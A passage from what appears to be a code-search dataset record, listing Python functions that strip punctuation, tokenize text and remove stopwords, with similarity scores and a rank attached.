tokenized\",\n \"def replace_punctuation(raw):\\r\\n\\tpunct = set(string.punctuation)\\r\\n\\t\\r\\n\\treturn ''.join([r for r in raw if r not in punct])\",\n \"def remove_punctuation_and_multi_spaces_document(self, doc):\\n regex = re.compile('[%s]' % re.escape(self.punctuation))\\n doc = regex.sub(' ', doc)\\n return ' '.join(doc.split())\",\n \"def remove_punctuation(input_string):\\n pattern = ('\\\\W')\\n nonWordCharPat = re.compile(pattern)\\n pattern = ('\\\\s')\\n wsPat = re.compile(pattern)\\n nonWordChars = re.findall(nonWordCharPat,input_string);\\n wsChars = re.findall(wsPat, input_string);\\n charList = [aChar for aChar in input_string if aChar in wsChars or aChar not in nonWordChars]\\n newString = \\\"\\\".join(charList)\\n return newString\\n pass\",\n \"def tokenize(document):\\n import string\\n\\n # tokenize the given document\\n words = nltk.tokenize.word_tokenize(document)\\n words = [word.lower() for word in words]\\n\\n # filter words from punctuations and stopwords\\n loop_words = words.copy()\\n for word in loop_words:\\n if word in [char for char in string.punctuation] + nltk.corpus.stopwords.words(\\\"english\\\"):\\n words.remove(word)\\n\\n return words\",\n \"def remove_punct(text):\\r\\n table = str.maketrans('', '', string.punctuation)\\r\\n return text.translate(table)\",\n \"def split_on_punctuation(self, tokens: List[str]) -> List[str]:\\n punctuation: List[str] = []\\n punctuation.extend(self.terminators)\\n punctuation.extend(constants.REDIRECTION_CHARS)\\n\\n punctuated_tokens = []\\n\\n for cur_initial_token in tokens:\\n # Save tokens up to 1 character in length or quoted tokens. No need to parse these.\\n if len(cur_initial_token) <= 1 or cur_initial_token[0] in constants.QUOTES:\\n punctuated_tokens.append(cur_initial_token)\\n continue\\n\\n # Iterate over each character in this token\\n cur_index = 0\\n cur_char = cur_initial_token[cur_index]\\n\\n # Keep track of the token we are building\\n new_token = ''\\n\\n while True:\\n if cur_char not in punctuation:\\n # Keep appending to new_token until we hit a punctuation char\\n while cur_char not in punctuation:\\n new_token += cur_char\\n cur_index += 1\\n if cur_index < len(cur_initial_token):\\n cur_char = cur_initial_token[cur_index]\\n else:\\n break\\n\\n else:\\n cur_punc = cur_char\\n\\n # Keep appending to new_token until we hit something other than cur_punc\\n while cur_char == cur_punc:\\n new_token += cur_char\\n cur_index += 1\\n if cur_index < len(cur_initial_token):\\n cur_char = cur_initial_token[cur_index]\\n else:\\n break\\n\\n # Save the new token\\n punctuated_tokens.append(new_token)\\n new_token = ''\\n\\n # Check if we've viewed all characters\\n if cur_index >= len(cur_initial_token):\\n break\\n\\n return punctuated_tokens\",\n \"def wordpunct_space_tokenize(sent):\\n return _rts.tokenize(sent)\",\n \"def verbalisePunctuation(self):\\n for i, strText in enumerate(self.sentencesList):\\n #For all punctuation marks\\n for regex, value in list(TextRepresentation.PUNCTUATION.items()):\\n strText = re.sub(regex, value, strText)\\n self.sentencesList[i] = strText\",\n \"def remove_punctuation(input_string):\\n return ''.join(x for x in input_string if x not in punctuation)\",\n \"def remove_punctuation(text: str) -> str:\\n return \\\"\\\".join(\\n itertools.filterfalse(lambda x: unicodedata.category(x).startswith(\\\"P\\\"), text)\\n )\",\n \"def cleanword(s):\\n word = \\\"\\\"\\n\\n for letter in s:\\n if letter not in string.punctuation:\\n word += letter\\n\\n return word\",\n \"def clean_stopwords(text):\\n tokens = tokenize(text)\\n tokens = stopwordsRem(tokens)\\n return tokens\",\n \"def sanitize(text, stop_word_list):\\n\\n # convert the text into Unicode\\n text = unicode(text)\\n\\n #print(type(text))\\n\\n # replace dot with space\\n text = text.translate({ord(\\\".\\\"): ord(\\\" \\\")})\\n # replace dash with space\\n text = text.translate({ord(\\\"-\\\"): ord(\\\" \\\")})\\n\\n # split the text on white-space\\n words = text.split()\\n sanitized_words = []\\n for w in words:\\n\\n # ignore numbers\\n if w.isnumeric():\\n continue\\n\\n # print(\\\"Word (Before Punctuation): \\\" + w)\\n\\n # remove punctuation\\n # Ref: https://stackoverflow.com/questions/265960/best-way-to-strip-punctuation-from-a-string-in-python\\n # w = w.translate(None, string.punctuation)\\n\\n # The above method does not work for Unicode strings\\n # Ref: https://stackoverflow.com/questions/23175809/typeerror-translate-takes-one-argument-2-given-python#23306505\\n # print(type(w))\\n\\n # replace punctuations with None\\n w = w.translate({ord(c): None for c in string.punctuation})\\n w = w.lower()\\n # print(\\\"Word (After Punctuation): \\\"+w)\\n\\n # Note: Remove stop-words before Stemming, or else the stop-word\\n # matching will not work.\\n # If the word is in Stop Word List\\n try:\\n i = stop_word_list.index(w.lower())\\n # skip further processing of word loop\\n # print(\\\"Stop Word Removed: \\\"+w)\\n continue\\n except ValueError:\\n pass\\n\\n w = stemm_word(w)\\n\\n # hack, hack, hack\\n if w == '':\\n continue\\n\\n # add the sanitized word into return list\\n sanitized_words.append(w)\\n\\n return sanitized_words\",\n \"def _tokenize(self, text):\\n if not text:\\n return []\\n\\n text = PUNCTUATION_CHARS.sub(' ', text)\\n\\n words = [\\n t[:128].lower() for t in text.split()\\n if len(t) >= MIN_WORD_LENGTH and t.lower() not in STOP_WORDS\\n ]\\n\\n return words\"\n]","isConversational":false},"negative_scores":{"kind":"list like","value":["0.8443081","0.8359836","0.83513975","0.83284754","0.82877874","0.82877874","0.82877874","0.82877874","0.82877874","0.82877874","0.82532126","0.8141095","0.8114269","0.8062185","0.79808336","0.7978225","0.79177517","0.7864343","0.7798762","0.77926224","0.777464","0.7774196","0.7729532","0.76826805","0.7561925","0.7497992","0.7489594","0.7489455","0.7484537","0.74604905","0.74581796","0.7443563","0.74315464","0.7402338","0.73880476","0.73783153","0.7352526","0.7335676","0.7329497","0.7302197","0.7280638","0.7269776","0.72629505","0.7247884","0.7209317","0.7202278","0.7197247","0.7189239","0.71849465","0.7184725","0.71846163","0.71756417","0.716057","0.7157638","0.71518797","0.71498996","0.71476126","0.7130726","0.71254516","0.71207434","0.7114295","0.7102782","0.71025413","0.7101437","0.7100865","0.7097567","0.7091818","0.7090267","0.708533","0.708494","0.7079205","0.70718664","0.70704275","0.70685077","0.70662516","0.7062513","0.70585877","0.70575756","0.7055174","0.7050333","0.7050224","0.70419407","0.70323265","0.70257795","0.70166","0.70102835","0.701025","0.700566","0.6992115","0.69899195","0.69778574","0.6974865","0.6959813","0.69536126","0.69525415","0.6940066","0.69391465","0.69381917","0.69330853","0.6931238"],"string":"[\n \"0.8443081\",\n \"0.8359836\",\n \"0.83513975\",\n \"0.83284754\",\n \"0.82877874\",\n \"0.82877874\",\n \"0.82877874\",\n \"0.82877874\",\n \"0.82877874\",\n \"0.82877874\",\n \"0.82532126\",\n \"0.8141095\",\n \"0.8114269\",\n \"0.8062185\",\n \"0.79808336\",\n \"0.7978225\",\n \"0.79177517\",\n \"0.7864343\",\n \"0.7798762\",\n \"0.77926224\",\n \"0.777464\",\n \"0.7774196\",\n \"0.7729532\",\n \"0.76826805\",\n \"0.7561925\",\n \"0.7497992\",\n \"0.7489594\",\n \"0.7489455\",\n \"0.7484537\",\n \"0.74604905\",\n \"0.74581796\",\n \"0.7443563\",\n \"0.74315464\",\n \"0.7402338\",\n \"0.73880476\",\n \"0.73783153\",\n \"0.7352526\",\n \"0.7335676\",\n \"0.7329497\",\n \"0.7302197\",\n \"0.7280638\",\n \"0.7269776\",\n \"0.72629505\",\n \"0.7247884\",\n \"0.7209317\",\n \"0.7202278\",\n \"0.7197247\",\n \"0.7189239\",\n \"0.71849465\",\n \"0.7184725\",\n \"0.71846163\",\n \"0.71756417\",\n \"0.716057\",\n \"0.7157638\",\n \"0.71518797\",\n \"0.71498996\",\n \"0.71476126\",\n \"0.7130726\",\n \"0.71254516\",\n \"0.71207434\",\n \"0.7114295\",\n \"0.7102782\",\n \"0.71025413\",\n \"0.7101437\",\n \"0.7100865\",\n \"0.7097567\",\n \"0.7091818\",\n \"0.7090267\",\n \"0.708533\",\n \"0.708494\",\n \"0.7079205\",\n \"0.70718664\",\n \"0.70704275\",\n \"0.70685077\",\n \"0.70662516\",\n \"0.7062513\",\n \"0.70585877\",\n \"0.70575756\",\n \"0.7055174\",\n \"0.7050333\",\n \"0.7050224\",\n \"0.70419407\",\n \"0.70323265\",\n \"0.70257795\",\n \"0.70166\",\n \"0.70102835\",\n \"0.701025\",\n \"0.700566\",\n \"0.6992115\",\n \"0.69899195\",\n \"0.69778574\",\n \"0.6974865\",\n \"0.6959813\",\n \"0.69536126\",\n \"0.69525415\",\n \"0.6940066\",\n \"0.69391465\",\n \"0.69381917\",\n \"0.69330853\",\n \"0.6931238\"\n]","isConversational":false},"document_score":{"kind":"string","value":"0.8250404"},"document_rank":{"kind":"string","value":"11"}}}],"truncated":false,"partial":true},"paginationData":{"pageIndex":153,"numItemsPerPage":100,"numTotalItems":95772,"offset":15300,"length":100}},"jwt":"eyJhbGciOiJFZERTQSIsImtpZCI6IjVHZDBvd0g5MTM2eDZjc1FvbE1zcktNWUZoRVFoUm5PVVVybEpjOUhaUEEifQ.eyJyZWFkIjp0cnVlLCJwZXJtaXNzaW9ucyI6eyJyZXBvLmNvbnRlbnQucmVhZCI6dHJ1ZX0sImlhdCI6MTc4NjEwOTcxMSwianRpIjoiNGQ3MjVhMGEtZjg1My00NWRiLTllZDctYjE1N2NjYzhlMjhmIiwic3ViIjoiL2RhdGFzZXRzL25vbWljLWFpL2Nvcm5zdGFjay1weXRob24tdjEiLCJleHAiOjE3ODYxMTMzMTEsImlzcyI6Imh0dHBzOi8vaHVnZ2luZ2ZhY2UuY28ifQ.hMYD7ifoPXLd4l3xioiVBAezsJvsf610jlWMi-wQOKTFNbc6Bb9bbQ4DI-dLLfY1B5hJfDx1xAVsZHhTcPA_BQ","displayUrls":true,"splitSizeSummaries":[{"config":"default","split":"train","numRows":95772,"numBytesParquet":1928375891}]},"discussionsStats":{"closed":1,"open":1,"total":2},"fullWidth":true,"hasGatedAccess":true,"hasFullAccess":true,"isEmbedded":false,"savedQueries":{"community":[],"user":[]}}">
query stringlengths 9 3.4k | document stringlengths 9 87.4k | metadata dict | negatives listlengths 4 101 | negative_scores listlengths 4 101 | document_score stringlengths 3 10 | document_rank stringclasses 102
values |
|---|---|---|---|---|---|---|
learn novel phrases by looking at cooccurrence of candidate term pairings; docs should be input in tokenized (`tdocs`) and untokenized (`docs`) form | def extract_phrases(tdocs, docs, idf):
# Gather existing keyphrases
keyphrases = set()
for doc in tdocs:
for t in doc:
if len(t.split(' ')) > 1:
keyphrases.add(t)
# Count document co-occurrences
t_counts = defaultdict(int)
pair_docs = defaultdict(list)
fo... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def train(self, documents):\n ###DONE\n\n #entire vocab in document set D\n vocab_sod = set()\n vocab_pop = set()\n \n #Calcuates prior probabilities\n priorSOD = 0 #how many docs are spam\n priorPOP = 0 #how many docs are ham\n \n #Cacluates Tc... | [
"0.6524535",
"0.6303925",
"0.63031244",
"0.6283015",
"0.62118506",
"0.61696297",
"0.6147306",
"0.6121404",
"0.610831",
"0.61022097",
"0.6042071",
"0.6039818",
"0.59821063",
"0.5974946",
"0.5971",
"0.5961817",
"0.58901966",
"0.58670616",
"0.5834076",
"0.58197343",
"0.58094156"... | 0.7074772 | 0 |
returns `top_n` keywords for a list of articles. keywords are returned as (keyword, score) tuples. | def keywords(articles, top_n=25):
# compute term idfs
token_docs = [lemma_tokenize(clean(a.text)) for a in articles]
local_term_idf = IDF(token_docs)
token_docs, phrases = extract_phrases(token_docs, [a.text for a in articles], global_term_idf)
titles = [a.title for a in articles]
title_token... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def top_keywords(urls, count=10):\n try:\n res = Counter()\n for url in urls:\n res += Counter(get_keyword_dict(url))\n return [w[0] for w in res.most_common(count)]\n except:\n print('Error finding top keywords')",
"def extract_keywords(article_list, n=10):\n vectorizer = TfidfVectorizer()... | [
"0.78360444",
"0.7450141",
"0.6965421",
"0.694177",
"0.6873025",
"0.68340343",
"0.6781121",
"0.6672731",
"0.66101223",
"0.6608954",
"0.659795",
"0.6593758",
"0.6579277",
"0.6569332",
"0.6565945",
"0.65614015",
"0.64829606",
"0.6468362",
"0.64578843",
"0.6425248",
"0.63832724"... | 0.826135 | 0 |
Calculate the greatcircle distance bewteen two points on the Earth surface. | def nphaversine(point1, point2, miles=False):
# print point1
# print point2
# unpack latitude/longitude
if len(point1.shape) == 1:
point1 = np.array([point1])
if len(point2.shape) == 1:
point2 = np.array([point2])
# print point1
# print point2
point1 = np.r... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def great_circle(lat_1, long_1, lat_2, long_2):\n long_1 = m.radians(long_1)\n lat_1 = m.radians(lat_1)\n long_2 = m.radians(long_2)\n lat_2 = m.radians(lat_2)\n\n d = 2 * 6367.45 * m.asin(\n m.sqrt(haversine(lat_2 - lat_1)\n + m.cos(lat_1)*m.cos(lat_2) *\n haversine(long... | [
"0.76110846",
"0.75128585",
"0.74005204",
"0.736278",
"0.7334611",
"0.7330116",
"0.72670156",
"0.72396517",
"0.722976",
"0.7168491",
"0.71659577",
"0.7156992",
"0.71539944",
"0.7124056",
"0.71109474",
"0.71105796",
"0.70962393",
"0.70885754",
"0.70604175",
"0.705747",
"0.7027... | 0.0 | -1 |
invokes gflags.FLAGS() on sys.argv. | def parse_args():
try:
FLAGS(sys.argv)
except gflags.FlagsError as err:
print err
print '%s\nUsage: %s ARGS\n%s' % (err, sys.argv[0], FLAGS)
sys.exit(1)
logging.basicConfig(format = '[%(asctime)s] %(levelname)s: %(message)s',
level = logging.INFO) | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def _ParseFlags(argv=sys.argv):\n try:\n argv = FLAGS(argv)\n logging.debug('Parsed command line flags: {}'.format(FLAGS.input_file))\n except flags.Error as e:\n logging.error(e)\n sys.exit(1)",
"def flag(x):\n if x in sys.argv:\n sys.argv.remove(x)\n return True\n else:\n ... | [
"0.66897386",
"0.6305905",
"0.61846584",
"0.6088721",
"0.5993747",
"0.5950991",
"0.5935284",
"0.590279",
"0.58919764",
"0.5862875",
"0.586093",
"0.5854668",
"0.58542633",
"0.58532166",
"0.58527994",
"0.5826487",
"0.5826487",
"0.5803758",
"0.5772526",
"0.5766503",
"0.5692707",... | 0.6167291 | 3 |
return current thread name. | def get_threadname():
cur_thread = threading.current_thread()
return cur_thread.name | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def get_thread_name(self) -> Optional[str]:\n return self.thread_name",
"def get_name(thread_id):\r\n for thread in threading.enumerate():\r\n if thread.ident == thread_id:\r\n return thread.name",
"def get_uname(self):\n return Server.t_usernames.get(threading.ge... | [
"0.80912495",
"0.77005726",
"0.69585633",
"0.6890283",
"0.6844813",
"0.67890924",
"0.674684",
"0.670793",
"0.6689467",
"0.668167",
"0.6630126",
"0.6606617",
"0.6594408",
"0.6587215",
"0.65800315",
"0.65798545",
"0.6551568",
"0.6512428",
"0.6499626",
"0.648431",
"0.6480289",
... | 0.90061885 | 0 |
remove duplicate keys while preserving order. optionally return values. | def find_uniq_preserve_order(orig_keys, orig_values=None):
seen = {}
keys = []
values = []
for i, item in enumerate(orig_keys):
if item in seen:
continue
seen[item] = 1
keys.append(item)
if orig_values:
values.append(orig_values[i])
return keys, values | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def delete_duplicate(x):\n return list(dict.fromkeys(x))",
"def _remove_duplicates(input_list):\n return list(OrderedDict.fromkeys(input_list))",
"def remove_duplicates(input_list):\n return list(dict.fromkeys(input_list))",
"def removeDups(lst):\n\n return list(dict.fromkeys(lst) )",
"... | [
"0.75429296",
"0.72203714",
"0.7036629",
"0.7017405",
"0.6760333",
"0.6731918",
"0.6579014",
"0.65164787",
"0.64843994",
"0.6472747",
"0.6425572",
"0.6410459",
"0.6388204",
"0.6381012",
"0.63454247",
"0.6309064",
"0.62704206",
"0.62684274",
"0.6259605",
"0.61603624",
"0.61588... | 0.775089 | 0 |
resets server figure by deleting lines and clearing legend. | def _handle_reset(self):
stream_data = self.server.stream_data
# remove lines from graph, and reset legends
for name in stream_data:
stream_data[name]['line'].remove()
for name in self.server.axes:
self.server.axes[name].legend([]) # TODO: find a better way.
stream_data = {} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def reset(self):\n\n self.fig.clear()\n self.ax = self.fig.add_subplot(111)\n self.hasLegend.set(False)\n self.title(Graph.default_title)\n # Lines is a list of DataSet objects. The user should take care to make\n # DataSet names unique, as there is no error checking done ... | [
"0.7666481",
"0.72009104",
"0.7048835",
"0.7034993",
"0.6928158",
"0.6892367",
"0.6811622",
"0.6684505",
"0.664847",
"0.6554894",
"0.65438944",
"0.653004",
"0.65285474",
"0.64676446",
"0.6457668",
"0.6457389",
"0.6455251",
"0.6446467",
"0.64300036",
"0.6376522",
"0.63337445",... | 0.7724574 | 0 |
Updates the legend for single_axes, listing duplicate labels once. | def _handle_update_legend(self, single_axes):
# lines are bundled with an axes.
# legends are printed per axes.
# line data is in stream_data without reference to axes sets.
# for each current line, get label, get axes
# for unique axes-labels create a list to pass to legend()
artists, labels = ... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def legend (self, **kwargs):\n axes = self.twin_axes or self.axes\n self.mpl_legend = axes.legend (self.mpl_lines, self.labels, **kwargs)",
"def legend(self):\n if self.nplots == 1:\n lax = self.ax\n loff = 0.2\n else:\n lax = self.ax1\n lof... | [
"0.663479",
"0.6562808",
"0.6533729",
"0.6064412",
"0.60395277",
"0.60051537",
"0.597655",
"0.597276",
"0.59519356",
"0.5942864",
"0.5882607",
"0.57779515",
"0.57668364",
"0.5744277",
"0.5723438",
"0.5700704",
"0.57001144",
"0.56860155",
"0.5684757",
"0.5676725",
"0.5665561",... | 0.8137135 | 0 |
creates a line on the given axes using style_args. returns line_name | def _handle_create_line(self, axes, style_args):
stream_data = self.server.stream_data
# sample data for initial create
x_data = numpy.arange(0, 2, 1)
y_data = numpy.array([0]*2)
line, = axes.plot(x_data, y_data, '-', **style_args)
# NOTE: client may set 'label'
line_name = style_args['labe... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def addLineStyle(dist, focus, axis, pupil):\n r = 0 #focus / 2\n g = 0 #np.log10(dist) / (25 / 3)\n b = 0 #axis / 20\n a = 0.4\n rgb = [r, g, b, a]\n line = {'style': '-', 'color': rgb}\n return line",
"def create_line(uniform = True, *args):\n axis = cmds.radioButtonGrp(widgets[\"lineAxi... | [
"0.62994033",
"0.6173251",
"0.61364174",
"0.6051291",
"0.5881077",
"0.58236307",
"0.5810255",
"0.58049214",
"0.5775597",
"0.5750251",
"0.5716448",
"0.57113814",
"0.5684895",
"0.5669201",
"0.5652392",
"0.56158364",
"0.5613863",
"0.55943674",
"0.5562825",
"0.55502826",
"0.55340... | 0.7652667 | 0 |
Saves value to data stream. | def _append_value(self, stream, value):
if FLAGS.timestamp:
x_val = float(time.time())
stream['x'].append(x_val)
y_val = float(value)
stream['y'].append(y_val) | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def save(datastream):",
"def save(self, data):\n self.write(data)",
"def save(self, data):\n\t\tif self.value:\n\t\t\tdata['value'] = self.value",
"def write_postvalue(self, stream, data):\r\n raise NotImplementedError",
"def write(value):\n return value",
"def w(self, value):\n ... | [
"0.76401985",
"0.7374978",
"0.7312911",
"0.70859486",
"0.69902873",
"0.6958337",
"0.6917507",
"0.6917507",
"0.6917507",
"0.68231845",
"0.67613393",
"0.6682821",
"0.660767",
"0.65658975",
"0.65165013",
"0.6509562",
"0.6507803",
"0.6505605",
"0.6498451",
"0.6474014",
"0.6411044... | 0.0 | -1 |
Loops reading client data and appending it to stream_data. | def _handle_client_read_data(self, first_value, line_name):
stream_data = self.server.stream_data
self._append_value(stream_data[line_name], first_value)
while True:
data = self.rfile.readline().strip()
# TODO: add verbose logging
#print "value", data
if data == "":
break
... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def onRecv(self, data):\n self.stream += data\n while self.handleStream(): pass",
"def data_received(self, data):\n self.log.debug('data_received: {!r}'.format(data))\n self._last_received = datetime.datetime.now()\n for byte in (bytes([value]) for value in data):\n\n ... | [
"0.7126232",
"0.6910214",
"0.66655576",
"0.66544044",
"0.6592131",
"0.65532523",
"0.6494772",
"0.6385813",
"0.6210289",
"0.62013733",
"0.6133615",
"0.6106816",
"0.6097253",
"0.6080578",
"0.6056107",
"0.6037789",
"0.59680283",
"0.59316283",
"0.59163034",
"0.59163034",
"0.59115... | 0.660936 | 4 |
Add a new axis, if axis_args are not already created. | def _handle_setup_axis(self, axis_args):
axis_name = axis_args['name']
axes_dict = self.server.axes
if axis_name not in [name for name, _ in axes_dict.items()]:
print "Adding a new axis:", axis_name
axis_count = len(axes_dict)
newaxis = self.server.figure.add_subplot(axis_count+1, 1, axis... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def _appendAxisDefinition(self, axis):\n length = len(axis)\n\n self.na_dict[\"NX\"].append(length)\n self.na_dict[\"XNAME\"].append(xarray_utils.getBestName(axis))\n\n # If only one item in axis values\n if length < 2:\n self.na_dict[\"DX\"].append(0)\n sel... | [
"0.66521394",
"0.6354571",
"0.62128806",
"0.62128806",
"0.62128806",
"0.6071286",
"0.59581596",
"0.58640105",
"0.5820328",
"0.5758695",
"0.56854737",
"0.5659909",
"0.5653431",
"0.56397295",
"0.5619788",
"0.56062645",
"0.5583612",
"0.5512482",
"0.54416555",
"0.54299825",
"0.54... | 0.7232592 | 0 |
SocketServer handler, called when clients connect. | def handle(self):
thread_name = get_threadname()
style_args = {}
style_args['label'] = thread_name
axis_args = {}
axis_args['name'] = 'default'
axis_args['x_label'] = ''
axis_args['y_label'] = ''
# client_init blocks until client sends 'BEGIN'
first_value = self._handle_client_ini... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def configure_server(self):\n self.server_socket.setblocking(False)\n self.server_socket.bind(self.server_address)\n self.server_socket.listen(100)\n logging.info(f'Server is listening for incoming connections')\n self.selector.register(self.server_socket,\n ... | [
"0.70631874",
"0.70404047",
"0.70306087",
"0.6992822",
"0.69871753",
"0.6985686",
"0.69482297",
"0.6931111",
"0.6895321",
"0.68076015",
"0.67947406",
"0.67930865",
"0.6785053",
"0.67439914",
"0.67374337",
"0.6722806",
"0.66859835",
"0.66508716",
"0.6639216",
"0.6625559",
"0.6... | 0.0 | -1 |
create instance data for figure, axes, and stream data. | def setup(self, flags):
self.figure = pylab.figure(1)
self.axes = {}
self.stream_data = {}
self.flags = flags | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def _make_data(self):\n pdf_datasets_all = make_pdf_datasets(self.pdf_list, self.xlims, self.ylims, self.tlims, self.dims, 9)\n self.pdf_dataset = np.concatenate(pdf_datasets_all, axis = 0)\n self.PDE_dataset = make_PDE_dataset(self.num_collocation, self.xlims, self.ylims, self.tlims, self.dim... | [
"0.69154173",
"0.6703749",
"0.6548121",
"0.64630646",
"0.63672024",
"0.63393867",
"0.6333037",
"0.63126576",
"0.63034093",
"0.6290425",
"0.6271378",
"0.626019",
"0.62436026",
"0.6238506",
"0.6222409",
"0.6222409",
"0.6222409",
"0.6222409",
"0.62218726",
"0.6218369",
"0.621429... | 0.67423743 | 1 |
setup callbacks, calls pylab.show() which blocks until close or exit. | def pylab_setup(figure, stream_data, original_width, runlimits, runflags):
def on_key(event):
"""on_key"""
print('you pressed', event.key, event.xdata, event.ydata)
#def diag_event(event):
# """diag_event"""
# print event.name
# if hasattr(event, 'height'):
# print event.height, event.width
... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def show():\n setup()\n plt.show()",
"def show_figure(self):\n pylab.show()",
"def show():\n plt.show()",
"def show():\n plt.show()",
"def show():\n plt.show()",
"def display(self):\n self.figure, self.axes = self.createFigure()\n\n self.setupLayout()\n self.qui... | [
"0.68718237",
"0.660467",
"0.64647394",
"0.64647394",
"0.64647394",
"0.63567173",
"0.622678",
"0.61775273",
"0.61592454",
"0.6154869",
"0.6153393",
"0.6111194",
"0.60374933",
"0.59594923",
"0.5936258",
"0.59299856",
"0.5906489",
"0.58567536",
"0.58445865",
"0.5839884",
"0.579... | 0.6100546 | 12 |
Timer callback for redrawing plots with latest data. | def plot_refresh_handler(args):
stream_data, runlimits, runflags = args
if runflags.exit:
sys.exit(1)
for line_name in stream_data:
data = stream_data[line_name]
curr_data_len = len(data['y'])
if curr_data_len == 0:
# no data yet
continue
if data['last_len'] >= curr_data_len:
... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def on_redraw_timer(self, event):\n \n if self.sampling_timer.IsRunning():\n self.daq.get_data()\n self.draw_plot()\n else:\n self.control_box.txt_info_box.SetLabel('Measurement complete')\n self.calculate()\n return",
"def timer_plot_da... | [
"0.75111294",
"0.7481198",
"0.7293234",
"0.7031069",
"0.6835803",
"0.6770282",
"0.67329353",
"0.6688009",
"0.6604535",
"0.66011137",
"0.66011137",
"0.66011137",
"0.66011137",
"0.66011137",
"0.65816563",
"0.6499807",
"0.63863814",
"0.63863814",
"0.62700325",
"0.62205446",
"0.6... | 0.66992867 | 7 |
Return the last 5 published polls(Not including those to be published in the future) that have at least 2 choices | def get_queryset(self):
#Old get_queryset() method.
#Return last 5 published polls
#return Poll.objects.order_by('-pub_date')[:5]
#New get_queryset() method.
#return Poll.objects.filter(pub_date__lte=timezone.now()).order_by('-pub_date')[:5]
return Poll.objects.annotate(num_choices=Count('choic... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def get_queryset(self):\n #return Poll.objects.filter(pub_date__lte=timezone.now())\n return Poll.objects.annotate(num_choices=Count('choice')).filter(pub_date__lte=timezone.now(), num_choices__gte=2)",
"def get_queryset(self):\n #.1 below code was showing future poll/questions\n #.1 return Q... | [
"0.66441554",
"0.6153953",
"0.61504656",
"0.5914476",
"0.59008074",
"0.5822036",
"0.58044267",
"0.56992376",
"0.5674518",
"0.56489867",
"0.56489867",
"0.5606918",
"0.5585309",
"0.55579126",
"0.55579126",
"0.5490999",
"0.5477059",
"0.5477059",
"0.5477059",
"0.5477059",
"0.5477... | 0.64896417 | 1 |
Exlcudes any polls that aren't published yet. | def get_queryset(self):
#return Poll.objects.filter(pub_date__lte=timezone.now())
return Poll.objects.annotate(num_choices=Count('choice')).filter(pub_date__lte=timezone.now(), num_choices__gte=2) | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def reset():\n global pollResults\n for name in pollResults:\n pollResults[name] = {'state': False, 'mark': False}\n emitResults()\n emit('auth_resp', 'New poll has been started', broadcast=True)",
"def unpublishAllServices(self):\n for k in self.published.keys():\n self.unpu... | [
"0.5834915",
"0.5771432",
"0.5703172",
"0.568427",
"0.55976146",
"0.5476567",
"0.540109",
"0.5345974",
"0.53375113",
"0.5329794",
"0.53083616",
"0.5289076",
"0.52400297",
"0.5227286",
"0.5198362",
"0.5192336",
"0.5190919",
"0.5187333",
"0.5181345",
"0.5168843",
"0.5167521",
... | 0.0 | -1 |
Constructor for decisions having just the low and high value | def __init__(self, low, high):
self.low = low
self.high = high | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def __init__(self, low_score=0, high_score=0):\n self.low_score = low_score\n self.high_score = high_score",
"def __init__(self):\n self.low = []\n self.high = []",
"def __init__(self):\n self.high_low = []",
"def __init__(self, min_val, max_val):\n self.values = (mi... | [
"0.7121283",
"0.6842653",
"0.6765476",
"0.66799957",
"0.66799957",
"0.66799957",
"0.66799957",
"0.64936614",
"0.6454951",
"0.6441182",
"0.635217",
"0.6306492",
"0.6245966",
"0.62103117",
"0.61977905",
"0.61973435",
"0.61709034",
"0.6144477",
"0.61384565",
"0.61371243",
"0.610... | 0.7508133 | 0 |
Constructor for model having objectives, constraints and decisions | def __init__(self, objectives, constraints, decisions):
self.objectives = objectives
self.constraints = constraints
self.decisions = decisions | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def __init__(self):\n self.name = \"Osyczka\"\n objectives = [ob_os_1, ob_os_2]\n constraints = [con_os_1, con_os_2, con_os_3, con_os_4, con_os_5, con_os_6]\n decisions = [Decision(0, 10), Decision(0, 10), Decision(1, 5), Decision(0, 6), Decision(1, 5), Decision(0, 10)]\n Model._... | [
"0.8211604",
"0.783042",
"0.7588628",
"0.71783847",
"0.711893",
"0.71124303",
"0.7095124",
"0.7054429",
"0.67368513",
"0.6669032",
"0.6669032",
"0.6669032",
"0.6669032",
"0.6669032",
"0.66268575",
"0.65448666",
"0.6534245",
"0.6528547",
"0.6521854",
"0.6510179",
"0.64817524",... | 0.8309128 | 0 |
Evaluates the score for a given solution using all objectives | def evaluate(self, solution, total = 0):
for objective in self.objectives:
total = total + objective(solution)
return total | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def get_score(self, solution: np.array) -> float:\n pass",
